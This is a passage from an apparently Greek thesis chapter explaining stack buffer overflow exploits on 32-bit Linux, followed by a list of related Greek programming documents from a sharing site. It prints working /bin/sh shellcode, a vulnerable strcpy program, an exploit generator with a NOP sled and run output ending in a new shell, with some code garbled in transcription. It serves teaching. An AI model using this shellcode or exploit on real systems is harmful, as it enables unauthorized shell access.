buffer1. Όπως φαίνεται το αντιγράφει 8 φορές επειδή όμως η μεταβλητή my_ra είναι τύπου long πιάνει 4byte άρα συνολικά τα byte που γράφονται είναι 32(8*4). Προφανώς εδώ παρουσιάζεται ένα συνηθισμένο Buffer Overflow όπως και στο παράδειγμα 1.4 εφόσον ενώ το Buffer1 είναι χωρητικότητας 5 byte σε αυτό γράφονται 32byte. Είναι προφανές ότι με αυτό τον τρόπο θα αντικατασταθεί το RA με το my_ra. Αυτό θα συμβεί γιατί η απόσταση του buffer1 από το RA θεωρητικά θα είναι 12byte δηλαδή 8byte για το buffer1 και 4 byte για τον EBP που έχει σωθεί στην αρχή της συνάρτησης. Τρέχοντας αυτό το παράδειγμα εξάγονται τα παρακάτω αποτελέσματα. 12

13 Buffer_Overflow_Tests]$./selfhack1_mcpy bffffa4c -> RA:804852e my_ra: : bffffa30 -> : bffffa34 -> : bffffa38 -> : bffffa3c -> : bffffa40 -> : bffffa44 -> : bffffa48 -> bffffa58 28: bffffa4c -> replace RA:804852e at Stack:bffffa4c with myra: Is it x=1? x=0 Buffer_Overflow_Tests]$ Στο παρακάτω σχήμα φαίνεται τι ακριβώς έγινε στην στοίβα όταν εκτελεστικέ το πρόγραμμα: The Stack Buffer2 Buffer1 EBP RA Par1 Par2 Par3 ESP Buffer1 EBP ret=(int *)buffer1+28; Η *ret θα περιέχει την νέα τιμή που θα αποκτήσει η RA μετα το B.O: *ret = *ret+7 Buffer2 *ret *ret *ret... *ret * ret Par1 Par2 ret Par3 Σχήμα 1.7 ΠΑΡΑΤΗΡΗΣΗ Οι εντολές με το μπλε χρώμα μπορούν να παραληφθούν. Οι εντολές με το κόκκινο χρώμα είναι απαραίτητες για να μην προκληθεί Segmentation Fault. Επειδή αυτό το κεφάλαιο έχει σαν σκοπό να κάνει μία περιήγηση στο Buffer Overflow και όχι να αναλύσει προχωρημένες περιπτώσεις για αυτό δεν χρειάζεται να δοθεί ιδιαίτερη σημασία σε αυτές της εντολές προς τωv πoρόν. Τέλος αν δεν τρέξει το πρόγραμμα σωστά ελέγξτε αν πρέπει να αλλαχθούν οι τιμές 28 και 7 γιατί μπορεί να υπάρχει διαφορά υλοποίησης στον C compiler του λειτουργικού σας συστήματος. Τα test έγιναν σε Linux RedHat 7.3 και 9.0. Συνοψίζοντας από τα δύο τελευταία παραδείγματα βγαίνει το συμπέρασμα ότι όταν προκαλείται Buffer Overflow τότε υπάρχουν δύο περιπτώσεις. Η πρώτη (όπως στο πρώτο παράδειγμα) είναι να προκληθεί αλλαγή στην φυσική ροή του προγράμματος προκαλώντας segmentation Fault. Στην δεύτερη περίπτωση αν το String που προκαλεί B.O είναι καλά σχεδιασμένο μπορεί να αλλάξει την ροή του προγράμματος αναγκάζοντας το να εκτελέσει άλλο κομμάτι κώδικα από αυτό που θα εκτελούσε αν η ροή δεν είχε αλλαχθεί από 13

14 αυτό(το B.O). Αυτό που απομένει για να γίνει κατανοητό πώς ακριβώς γίνεται ένα Buffer Overflow Exploit θα πρέπει να περιγραφεί πως πετυχαίνει ο Blackhat τον δεύτερο στόχο του Η μορφή του κώδικα που θα ενσωματωθεί στο Buffer Overflow String. Ο δεύτερος από τους δύο στόχους που αναφέρονται παραπάνω είναι να ενσωματωθεί μέσα στο String που θα προκαλέσει B.O ο κώδικας που θέλει ο Blackhat να εκτελεστεί όταν δεν υπάρχει μέσα το πρόγραμμα θύμα. Συνήθως αυτό που θέλει ένας Blackhat hacker να «τρέξει» μέσα από αυτή διαδικασία είναι ένα κομμάτι κώδικα που θα ανοίξει ένα κέλυφος(shell) ώστε να έχει πρόσβαση στο σύστημα θύμα. Φυσικά μπορεί να βάλει οποιοδήποτε κομμάτι κώδικα επιθυμεί. Λόγο της συνήθειας να μπαίνει κώδικας που «ανοίγει» κάποιο Shell έχει καθιερωθεί αυτό το κομμάτι του κώδικα, ότι και αν κάνει, να λέγεται ShellCode. Ο κώδικα που άνοιγε ένα Shell είναι ο παρακάτω: Παράδειγμα 1.6 /* C/C++ code CALLING SHELL */ #include <stdio.h> void main(int argc, char *argv[]) { char *name[2]; name[0]= /bin/sh ; name[1]=null; execve(name[0],name,null); Φυσικά δεν μπορεί να μπει σε αυτή την μορφή γιατί δεν έχει κανένα νόημα για τον υπολογιστή. Η μορφή που πρέπει να μπει μέσα στο String είναι μία εκτελέσιμη μορφή. Μία λογική σκέψη είναι να γίνει Compiled το πρόγραμμα αυτό και στην συνέχεια να πάρουμε το String που θα δούμε μέσα στο εκτελέσιμο αρχείο αν αυτό το ανοίξουμε με ένα Text Editor, όπως για παράδειγμα τον VI. Αυτό όμως δεν μπορεί να συμβεί για διάφορους λόγους που θα εξηγηθούν στο κεφάλαιο 2. Ένας από τους λόγους που είναι και ο σημαντικότερος στην προκειμένη περίπτωση είναι ότι ένας text Editor τυπώνει στην οθόνη μόνο τους εκτυπώσιμους χαρακτήρες(αscii table). Στα Executable αρχείο όμως υπάρχουν χαρακτήρες που αντιστοιχούν σε εντολές του επεξεργαστή που δεν μπορούν να τυπωθούν στην οθόνη. Συνεπώς για να παραχθεί ένα String που θα αντιστοιχεί σε κομμάτι κώδικα όπως στο παράδειγμα 1.6 θα πρέπει αυτό το String να μετατρέπει σε δεκαεξαδική μορφή ώστε να εκφράζονται και οι χαρακτήρες που αλλιώς δεν εκτυπώνονται. Παρακάτω παρουσιάζεται ο shell Code που θα εκτελέσει την ίδια λειτουργία με αυτή του παραδείγματος 1.6. Προσοχή το String αυτό δεν είναι η δεκαεξαδική εκτελέσιμη μορφή του παραδείγματος 1.6 αλλά ενός αλλού κώδικα που θα εκτελέσει τις ίδιες λειτουργίες με αυτές του παραδείγματος ώστε να ανοίξει ένα νέο κέλυφος. Το ποίος είναι αυτός ο κώδικάς και το πώς μετατρέπεται στο παρακάτω δεκαεξαδικό String θα περιγράφει αναλυτικά στο κεφάλαιο 2. Παράδειγμα 1.7 shellcode[ ]= "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; Όπως φαίνεται στο παράδειγμα 1.7 υπάρχουν πολλοί χαρακτήρες \x00. Όσοι είναι εξοικειωμένοι με την C/C++ γνωρίζουν ότι ένα μεγάλο σύνολο συναρτήσεων της καθιερωμένης βιβλιοθήκης της C, όπως η strcpy στο παράδειγμα 1.4, σταματούν την αντιγραφή των χαρακτήρων και γενικότερα την επεξεργασία ενός string όταν συναντήσουν τον χαρακτήρα \x00. Για να εξασφαλιστεί ότι το B.O.E θα πετύχει δηλαδή ότι ο κώδικας αυτός θα εκτελεστεί πρέπει να εξασφαλιστεί ότι δεν θα σταματήσει στην μέση η επεξεργασία του string 14

15 μέχρι αυτό να βρεθεί στο κατάλληλο Buffer και να προκαλέσει Buffer Overflow. Για να γίνει αυτό πρέπει όλα τα SubString που αντιστοιχούν σε εντολές και περιέχουν μηδέν(0) να αντικατασταθούν με άλλες που θα προκαλούν τα ίδια αποτελέσματα αλλά δεν θα περιέχουν \x00. Παράδειγμα 1.8 shellcode[ ]= \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80\xe8\xdc\xff\xff\xff/bin/sh ; Παραπάνω έχει παρουσιαστεί πώς αλλάζει ο η φυσική ροή του προγράμματος αντικαθιστώντας την RA μίας συνάρτησης με Buffer Overflow. Επιπλέον παρουσιάστηκε το πώς πρέπει να είναι το String που θα ανοίξει ένα Shell δίνοντας πρόσβαση στο σύστημα θύμα. Παρακάτω θα παρουσιαστεί πώς αυτά τα δύο συνδιάζονται για να γίνει ένα Buffer Overflow Exploit Χτίζοντας το πρώτο Buffer Overflow Exploit. Ένα Buffer Overflow Exploit εκτελεί τους δύο βασικούς στόχου του Blackhat Hacker δηλαδή κάνει δύο πράγματα. Αρχικά βάζει το κώδικά που θέλει ο Blackhat να εκτελεστεί στην μνήμη του υπολογιστή και στην συνέχεια στρέφει την ροή του προγράμματος στον πρώτο από τους χαρακτήρες του String. To πρόβλημα εδώ είναι που θα πρέπει να μπει το String του ShellCode. Αν παρατηρήσουμε το παράδειγμα 1.5 θα δούμε ότι για να προκληθεί το B.O χρειάζονται πολλοί χαρακτήρες μέχρι να φτάσει η my_ra να καταπατήση την RA του προγράμματος. Επειδή όμως δεν υπήρχε τίποτα για να γεμίσει το String, αυτό γεμίζεται με την my_ra πολλές φορές. Στην περίπτωση όμως που θα χρειαστεί να εκτελεστεί κώδικας που δεν υπάρχει στο πρόγραμμα τότε το String που θα προκαλέσει B.O μπορεί να γεμιστεί με το ShelCode String και να συμπληρωθεί με την my_ra. Αυτή τη φορά όμως η my_ra θα πρέπει να δείχνει μέσα στην στοίβα και μάλιστα στην αρχή του ShellCode String. ΠΑΡΑΤΗΡΗΣΗ Εύλογο θα ήταν το ερώτημα πως είναι δυνατόν μέσα στην στοίβα να μπει κώδικας και αυτός να εκτελεστεί. Η απάντηση είναι όπως θα αναλυθεί και στο επόμενο κεφάλαιο(3) ότι στην στοίβα για λόγους ευελιξίας μπορούν να γράφονται, να σβήνονται, να διαβάζονται και να εκτελούνται όλες οι πιθανές πληροφορίες που μπορούν να καταχωρηθούν σε αυτή. Παρακάτω παρουσιάζεται ένα παράδειγμα που δείχνει πώς γίνεται ένα Buffer Overflow Exploit: 15

16 Παράδειγμα 1.9 /* C/C++ code : Self exploit*/ char shellcode[]= \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c \xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb \x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh ; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr=(long *)large_string; for(i=0:i<32;i++) *(long_ptr+i)=(int)buffer; for(i=0;i<strlen(shellcode);i++) large_string[i]=shellcode[i]; strcpy(buffer,lage_string); // == overflow 32 byte Σε αυτό το παράδειγμα το ίδιο το πρόγραμμα υπολογίζει την κατάλληλη τιμή της RA ώστε με αυτή να αντικαταστήσεί την πραγματική RA για να αναγκάσει το πρόγραμμα να εκτελέσει το κώδικα Shellcode. Ο ShelCode δίνεται σαν παράμετρος δεδομένων μέσα στο πρόγραμμα. The Stack main call H RET αντικαθιστάτε με την large_string buffer EBP RET ESP EBP shellcode[] large_string RET Σχήμα 1.8 Παρατηρώντας το σχήμα 1.8 και το πρόγραμμα του παραδείγματος 1.9 βλέπουμε ότι το πρόγραμμα αυτό κάνει τα εξής: 1. Γεμίζει τον πίνακα large_string[] με την διεύθυνση μνήμης του buffer[]. 2. Στην συνέχεια αντιγράφει τον shellcode στην αρχή του large_string[]. 3. Τέλος αντιγράφει το large_string[] στο buffer[] χωρίς να κάνει Bound Check δηλαδή έλεγχο ορίων. 16

17 4. Η αντιγραφή αυτή προκαλεί Buffer Overflow του buffer[] καταπατώντας(overwriting) την RA του προγράμματος. Στην προκειμένη περίπτωση η RA είναι η διεύθυνση μνήμης πριν αρχίσει να εκτελείται η main(). 5. Όταν το πρόγραμμα τελειώσει και κάνει POP στο EIP την RA που βρίσκεται στην στοίβα και θα αρχίσει να εκτελεί το ShellCode. Αυτό θα συμβεί γιατί η τιμή RA αντί να είναι η πραγματική RA θα είναι η διεύθυνση μνήμης που αρχίζει το long_buffer. Στην πράξη όμως συνήθως δεν είναι δυνατόν ο Blackhat να επέμβει στο πρόγραμμα για να μπορέσει να του προκαλέσει ένα Buffer Overflow Exploit. Για να μπορέσει λοιπόν να προκαλέσει B.O.E σε ένα πρόγραμμα πρέπει να του δώσει εξωτερικά μία παράμετρο που να είναι αρκετά μεγάλη ώστε να προκαλέσει B.O.E και φυσικά να είναι καλά σχεδιασμένη ώστε να στρέψει την ροή του προγράμματος στο ShellCode που η ίδια η παράμετρος θα περιέχει. Η παράμετρος αυτή είναι ένα απλό String που μπορεί να περιέχεται σε οποιοδήποτε φορέα είτε αυτός είναι ένα String που πληκτρολογείται στο κέλυφος είτε μπαίνει σε ένα αρχείο είτε αποστέλλεται μέσω δικτύου σε ένα πακέτο. Γενικά ο φορέας που θα μεταφέρει το Buffer Overflow Exploit String από τον Blackhat στο σύστημα θύμα, μπορεί να είναι οποιοδήποτε Interface. 1.5 Πώς γίνονται στην πράξη τα Buffer Overflow Exploits Μέχρι τώρα έγινε μία περιήγηση το πώς μπορεί να χτιστεί ένα B.O.E αλλά σε όλες αυτές τις περιπτώσεις η διεύθυνση μνημης υπολογιζόταν εύκολα. Η ευκολία αυτή αφενός οφειλόταν στο γεγονός ότι ήταν γνωστό το που ακριβώς θα τοποθετηθεί το ShellCode μέσα στην στοίβα αφετέρου ήταν γνωστό που ακριβώς βρίσκεται η RA του προγράμματος που χρειαζόταν να αλλαχθεί για να πετύχει το Β.Ο.Ε. Στην παράγραφο αυτή θα εξεταστούν οι πραγματικές συνθήκες που πρέπει να αντιμετωπιστούν ώστε να χτιστεί ένα πραγματικό B.O.E. Το σημαντικότερο χαρακτηριστικό είναι ότι το B.O.E που θα παραχθεί θα πρέπει να είναι για ένα άλλο πρόγραμμα και όχι για το ίδιο και ακόμα το String που θα παίζει το ρόλο του Buffer Overflow Exploit θα πρέπει να δοθεί εξωτερικά σαν παράμετρος. Ένα τέτοιο πρόγραμμα μπορεί να είναι του παραδείγματος 1.10 που εκτελεί ένα strcpy() χωρίς έλεγχο ορίων. Παράδειγμα 1.10 main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); /* C/C++ code : vulnerable.c */ Το πρώτο που πρέπει να γίνει για να φτιαχτεί ένα Buffer Overflow Exploit για ένα τέτοιο πρόγραμμα πρέπει: 1. Να βρεθεί το μέγεθος του String που προκαλεί Buffer Overflow με αποτέλεσμα ένα Segmentation Violation ή άλλο σχετικό μήνυμα. Στο παράδειγμα 1.10 πάνω από 512 Bytes. 2. Να βρεθεί η τιμή που θα αντικαταστήσει την RA ώστε να στραφεί τη ροή του προγράμματος στην διεύθυνση μνήμης που βρίσκεται το πρώτο Byte του ShellCode. Το μήκος του String που προκαλεί B.O.E είναι πολύ εύκολο να βρεθεί αντίθετα η διεύθυνση που θα αντικαταστήσει το RA είναι αρκετά δύσκολο να βρεθέι. Η δυσκολία οφείλεται σε δύο παράγοντες. Ο πρώτος παράγοντας είναι ότι δεν είναι γνωστό το ποιες διευθύνσεις μνήμης της στοίβας ανήκουν στις παραχωρημένες από το λειτουργικό σύστημα διευθύνσεις της εφαρμογής. Ο δεύτερος παράγοντας είναι ότι ακόμα και αν οι διευθύνσεις αυτές ήταν γνωστές δεν είναι καθόλου εύκολο να γνωρίζει κάποιος που ακριβώς θα ξεκινά ο ShellCode. Αυτό οφείλεται στο γεγονός ότι διαφορετικές συνθήκες μπορεί να αναγκάσουν την εφαρμογή 17

18 θύμα να διαμορφώσει διαφορετικά την στοίβα του συνεπώς το ShellCode να μην βρίσκεται πάντα ακριβώς στις ίδιες διευθύνσεις. Άρα και στις δύο περιπτώσεις πρέπει να υπολογιστεί στην τύχη η επιθυμητή διεύθυνση. Η λύση στο πρόβλημα του εντοπισμού της περιοχής των διευθύνσεων που ανήκει στην εφαρμογή θύμα είναι σχετικά απλή. Στα 32bit λειτουργικά συστήματα η στοίβα για όλα τα προγράμματα ξεκινά από την ίδια διεύθυνση μνήμης. Αυτή η εξαιρετικά σημαντική πληροφορία με λίγα λόγια σημαίνει ότι η επιθυμητή διεύθυνση μνήμης θα είναι κάπου σχετικά κοντά στην αρχή της στοίβας. Ένα πρόγραμμα που χτίζει Β.Ο.Ε αυτό που έχει να κάνει είναι να παίρνει την τιμή του ESP που ανήκει στο ίδιο το πρόγραμμα και προσθέτοντας ή αφαιρώντας την κατάλληλη τιμή να βρίσκει πού είναι η επιθυμητή διεύθυνση για να πετύχει το Exploit εναντίον μίας εφαρμογής θύμα. Παρακάτω παρουσιάζεται ένα πρόγραμμα που παράγει B.O.Exploits για εφαρμογές που τρέχουν σε Linux. 18

19 Παράδειγμα 1.11 /* C/C++ code : exploit_vulnerable.c */ #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { asm ("movl %esp,%eax"); void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=default_offset, bsize=default_buffer_size; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("can't allocate memory.\n"); exit(0); addr = get_sp() - offset; printf("using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"egg=",4); putenv(buff); system("/bin/bash"); Εκτεταμένη ανάλυση του προγράμματος αυτού θα γίνει στο κεφάλαιο 2. Προς το παρόν παρατηρούμε ότι αυτό που κάνει είναι να δέχεται μία τιμή Offset που θα την προσθέσει ή θα την αφαιρέσει ώστε να βρει την διεύθυνση που θα αντικαταστήσει την πραγματική RA ενός προγράμματος «θύμα». Φυσικά πάλι είναι κάπως δύσκολο γιατί πρέπει κάποιος που θέλει να πετύχει το B.O.E, να υπολογίσει το Offset που θα δώσει για την εκάστοτε εφαρμογή θύμα. Αν λάβουμε υπόψη όμως ότι συνήθως μια εφαρμογή θα προσθέσει μερικές μόνο εκατοντάδες Byte στοίβα τότε θα πρέπει οι δοκιμές να γίνονται με τιμές πολλαπλάσια του 100 και φυσικά αφαιρώντας(δηλαδή προσθέτοντας) το μήκος του B.O.E. Τέλος το μήκος του BOE θα είναι το άθροισμα του μήκους του ShellCode και το σύνολο των byte που θα καταλαμβάνει το νέο RA που θα σχηματιστεί. Το νέο RA θα πιάνει 4Byte όμως αυτό για να εξασφαλιστεί ότι θα πέσει στο RA του προγράμματος ώστε να το αλλάξει θα πρέπει να υπάρχει μέσα στο String πάνω από 1 φορές. Συνεπώς το σύνολο τον byte που θα καταλαμβάνει η νέα RA θα είναι 4*x, όπου x οι φορές που επαναλαμβάνεται. 19

20 Τρέχοντας το πρόγραμμα(παράδειγμα 1.11) για να παράγουμε ένα B.O.E που θα εκμεταλευτεί την αδυναμία του προγράμματος του παραδείγματος 1.10 θα έχουμε τα παρακάτω αποτελέσματα. Αρχικά θεωρούμε ότι το πρόγραμμα δεν έχει την εντολή που είναι γραμμένη με κόκκινα γράμματα. [ 500 Using address: 0xbffffdb4 [ $EGG [ exit [ 600 Using address: 0xbffffdb4 [ $EGG Illegal instruction [ [ Using address: 0xbffffd4c [ $EGG Segmentation fault [ exit [ Using address: 0xbffffce8 [ $EGG Segmentation fault [ [ Using address: 0xbffff794 [ $EGG $ Μας έδωσε καινούργιο κέλυφος Όπως φαίνεται χρειάζονται πάρα πολλές προσπάθειες με πολλούς διαφορετικούς συνδυασμούς μέχρι να πετύχει το Β.Ο.Ε. Οι προσπάθειες αυτές μπορεί να ξεπεράσουν τις 500 αν και στο παράδειγμα χρειάστηκαν περίπου 60 ενώ το πόσες θα είναι ακριβώς εξαρτάτε από πολλούς παράγοντες. Μία λογική σκέψη θα ήταν να βρεθεί ένας τρόπος να μην χρειάζεται να βρεθεί ακριβώς η διεύθυνση μνήμης που βρίσκεται κάθε φορά η αρχή του Shell Code ώστε να αυξηθεί η πιθανότητα να πετυχαίνει ένα Β.Ο.Ε με λιγότερη προσπάθεια. Αυτό γίνεται με τη χρήση της εντολή γραμμένη με κόκκινα γράμματα που θα επεξηγηθεί στην επόμενη παράγραφο. 1.6 Αυξάνοντας την πιθανότητα επιτυχίας ενός Β.Ο.Ε με την χρήση του NOP Tώρα μόνο πρόβλημα που έχει να αντιμετωπίσει ο Blackhat hacker είναι να αυξήσει τις πιθανότητες επιτυχίας ενός ΒΟΕ για όλες τις συνθήκες που μπορεί να βρεθεί μία εφαρμογή «θύμα». Για να το κάνει αυτό πρέπει να διαμορφωθεί με τέτοιο τρόπο το BOE ώστε όταν η RΑ αντιστοιχεί σε διεύθυνση κοντινή με τη αρχή του ShellCode, αλλά όχι ακριβώς με αυτή, το ΒΟΕ να είναι και πάλι επιτυχημένο. Για να γίνει όμως αυτό πρέπει με κάποιο τρόπο ο EIP να οδηγηθεί βήμα-βήμα προς τα εμπρός ώστε να βρεθεί στην αρχή του ShellCode και να τον εκτελεσεί. Αυτό συμβαίνει όταν προστεθεί η εντολή NOP. H εντολή NOP σημαίνει NO OPERATION και αυτό που κάνει είναι να καταναλώνει ένα κύκλο ρολογιού της CPU χωρίς να έχει καμία άλλη συνέπεια για το σύστημα. Αυτή η εντολή έχει δεκαεξαδική τιμή \x90 και πιάνει μόνο ένα Byte. Αυτή η εντολή συνήθως παίζει το ρόλο του Delay όταν υπάρχει ανάγκη συγχρονισμού. Φυσικά, όπως συμβαίνει για όλες τις εντολές όταν αυτή εκτελείται ο EIP ήδη θα δείχνει στη επόμενη προς εκτέλεση εντολή. Συνεπώς βάζοντας αρκετά NOP ακριβώς πριν από το πρώτο Byte του ShellCode ο EIP προοδεθτικά οδηγείται στην αρχή του shellcode. Έτσι αυξάνονται δραματικά τις πιθανότητες επιτυχίας ενός 20

Προγραμματισμός Ι. Δυναμική Διαχείριση Μνήμης. Δημήτρης Μιχαήλ. Ακ. Έτος 2011-2012. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο

Προγραμματισμός Ι. Δυναμική Διαχείριση Μνήμης. Δημήτρης Μιχαήλ. Ακ. Έτος 2011-2012. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Προγραμματισμός Ι Δυναμική Διαχείριση Μνήμης Δημήτρης Μιχαήλ Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Ακ. Έτος 2011-2012 Ανάγκη για Δυναμική Μνήμη Στατική Μνήμη Μέχρι τώρα χρησιμοποιούσαμε

Διαβάστε περισσότερα

Κεφάλαιο 2 Buffer Overflow Exploits

Κεφάλαιο 2 Buffer Overflow Exploits Κεφάλαιο 2 Buffer Overflow Exploits 2.1 Γενικά Στο προηγούμενο κεφάλαιο έγινε μία επισκόπηση για το που οφείλεται ένα Buffer Overflow Vulnerability και ποίες είναι οι γνώσεις που χρειάζονται ώστε να μπορέσει

Διαβάστε περισσότερα

Κεφάλαιο 3 Μέθοδοι αντιμετώπισης των Buffer Overflow Exploits

Κεφάλαιο 3 Μέθοδοι αντιμετώπισης των Buffer Overflow Exploits Κεφάλαιο 3 Μέθοδοι αντιμετώπισης των Buffer Overflow Exploits 31 Γενικά Στο A Μέρος της πτυχιακής παρουσιάσθηκε αναλυτικά το πώς μπορεί ένα κακόβουλος χρήστης(blackhat) να εκμεταλλευτεί(exploit) την αδυναμία(vulnerability)

Διαβάστε περισσότερα

Εισαγωγή εκτελέσιμου κώδικα σε διεργασίες

Εισαγωγή εκτελέσιμου κώδικα σε διεργασίες 0x375 - Thessaloniki Tech Talks Sessions Event 0x2 19 Μαρτίου 2010 Περιεχόμενα 1 Εισαγωγή 2 Η κλήση συστήματος ptrace 3 Νήματα 4 Το πρόγραμμα εισαγωγής κώδικα prez 5 Επίλογος Γιατί; Πολλές φορές θέλουμε

Διαβάστε περισσότερα

Δημήτρης Πρίτσος. ISLAB HACK: Βασικές Έννοιες της Αρχιτεκτονικής

Δημήτρης Πρίτσος. ISLAB HACK: Βασικές Έννοιες της Αρχιτεκτονικής ISLAB HACK: Βασικές Έννοιες της Αρχιτεκτονικής INTEL - IA32 για LINUX & WINDOWS Αθήνα 2003 1 Περιεχόμενα 2 Περιήγηση στην αρχιτεκτονική ΙΑ32 και των λειτουργικών συστημάτων Linux και Ms-Windows 1 Γενικά

Διαβάστε περισσότερα

Διαδικασιακός Προγραμματισμός

Διαδικασιακός Προγραμματισμός Τμήμα ΜΗΧΑΝΙΚΩΝ ΠΛΗΡΟΦΟΡΙΚΗΣ ΤΕ ΤΕΙ ΔΥΤΙΚΗΣ ΕΛΛΑΔΑΣ Διαδικασιακός Προγραμματισμός Διάλεξη 10 η Αλφαριθμητικά Οι διαλέξεις βασίζονται στο βιβλίο των Τσελίκη και Τσελίκα C: Από τη Θεωρία στην Εφαρμογή Σωτήρης

Διαβάστε περισσότερα

ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών Μεταγλώτιση, σύνδεση

ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών Μεταγλώτιση, σύνδεση ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών Μεταγλώτιση, σύνδεση Αρης Ευθυμίου Ανακοινώσεις! Βαθμοί: 1ης εργαστηριακής άσκησης Βαθμός 0 χωρίς σχόλια δεν έχω πάρει την άσκηση! ελέγξτε μήπως δεν το στέλνετε στο σωστό

Διαβάστε περισσότερα

ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΣ Η/Υ Ακαδημαϊκό έτος 2001-2002 ΤΕΤΡΑΔΙΟ ΕΡΓΑΣΤΗΡΙΟΥ #4

ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΣ Η/Υ Ακαδημαϊκό έτος 2001-2002 ΤΕΤΡΑΔΙΟ ΕΡΓΑΣΤΗΡΙΟΥ #4 ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΣ Η/Υ Ακαδημαϊκό έτος 2001-2002 ΤΕΤΡΑΔΙΟ ΕΡΓΑΣΤΗΡΙΟΥ #4 «Προγραμματισμός Η/Υ» - Τετράδιο Εργαστηρίου #4 2 Γενικά Στο Τετράδιο #4 του Εργαστηρίου θα αναφερθούμε σε θέματα διαχείρισης πινάκων

Διαβάστε περισσότερα

ΑΣΚΗΣΗ 2: ΔΟΜΗ ΠΡΟΓΡΑΜΜΑΤΟΣ C, ΧΕΙΡΙΣΜΟΣ ΜΕΤΑΒΛΗΤΩΝ ΚΑΙ ΣΥΝΑΡΤΗΣΕΙΣ ΕΙΣΟΔΟΥ ΚΑΙ ΕΞΟΔΟΥ

ΑΣΚΗΣΗ 2: ΔΟΜΗ ΠΡΟΓΡΑΜΜΑΤΟΣ C, ΧΕΙΡΙΣΜΟΣ ΜΕΤΑΒΛΗΤΩΝ ΚΑΙ ΣΥΝΑΡΤΗΣΕΙΣ ΕΙΣΟΔΟΥ ΚΑΙ ΕΞΟΔΟΥ ΑΣΚΗΣΗ 2: ΔΟΜΗ ΠΡΟΓΡΑΜΜΑΤΟΣ C, ΧΕΙΡΙΣΜΟΣ ΜΕΤΑΒΛΗΤΩΝ ΚΑΙ ΣΥΝΑΡΤΗΣΕΙΣ ΕΙΣΟΔΟΥ ΚΑΙ ΕΞΟΔΟΥ Σκοπός της Άσκησης Ο σκοπός αυτής της εργαστηριακής άσκησης είναι η ανάλυση των βασικών χαρακτηριστικών της Γλώσσας

Διαβάστε περισσότερα

Διάλεξη 18η: Διαχείρηση Αρχείων

Διάλεξη 18η: Διαχείρηση Αρχείων Διάλεξη 18η: Διαχείρηση Αρχείων Τμήμα Επιστήμης Υπολογιστών, Πανεπιστήμιο Κρήτης Εισαγωγή στην Επιστήμη Υπολογιστών Πρατικάκης (CSD) Αρχεία CS100, 2015-2016 1 / 24 Η βιβλιοθήκη Εισόδου/Εξόδου Στο stdioh

Διαβάστε περισσότερα

Writing kernels for fun and profit

Writing kernels for fun and profit Writing kernels for fun and profit Γιάννης Τσιομπίκας nuclear@memberfsforg 23 Μαρτίου 2011 Γιατί; It s FUN! Εξοικείωση με το hardware Εμβάθυνση στον θαυμαστό κόσμο των λειτουργικών συστημάτων Μια καλή

Διαβάστε περισσότερα

Προγραμματισμός Ι. Προχωρημένα Θέματα. Δημήτρης Μιχαήλ. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο

Προγραμματισμός Ι. Προχωρημένα Θέματα. Δημήτρης Μιχαήλ. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Προγραμματισμός Ι Προχωρημένα Θέματα Δημήτρης Μιχαήλ Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Ανακατεύθυνση Εισόδου/Εξόδου Συνήθως η τυπική είσοδος ενός προγράμματος (stdin) προέρχεται

Διαβάστε περισσότερα

Εισαγωγή στον Προγραμματισμό

Εισαγωγή στον Προγραμματισμό Εισαγωγή στον Προγραμματισμό Πίνακες Δημήτρης Μιχαήλ Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Ακ. Έτος 2012-2013 Πίνακες Πολλές φορές θέλουμε να κρατήσουμε στην μνήμη πολλά αντικείμενα

Διαβάστε περισσότερα

Προγραμματισμός Ι. Είσοδος/Έξοδος. Δημήτρης Μιχαήλ. Ακ. Έτος 2009-2010. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο

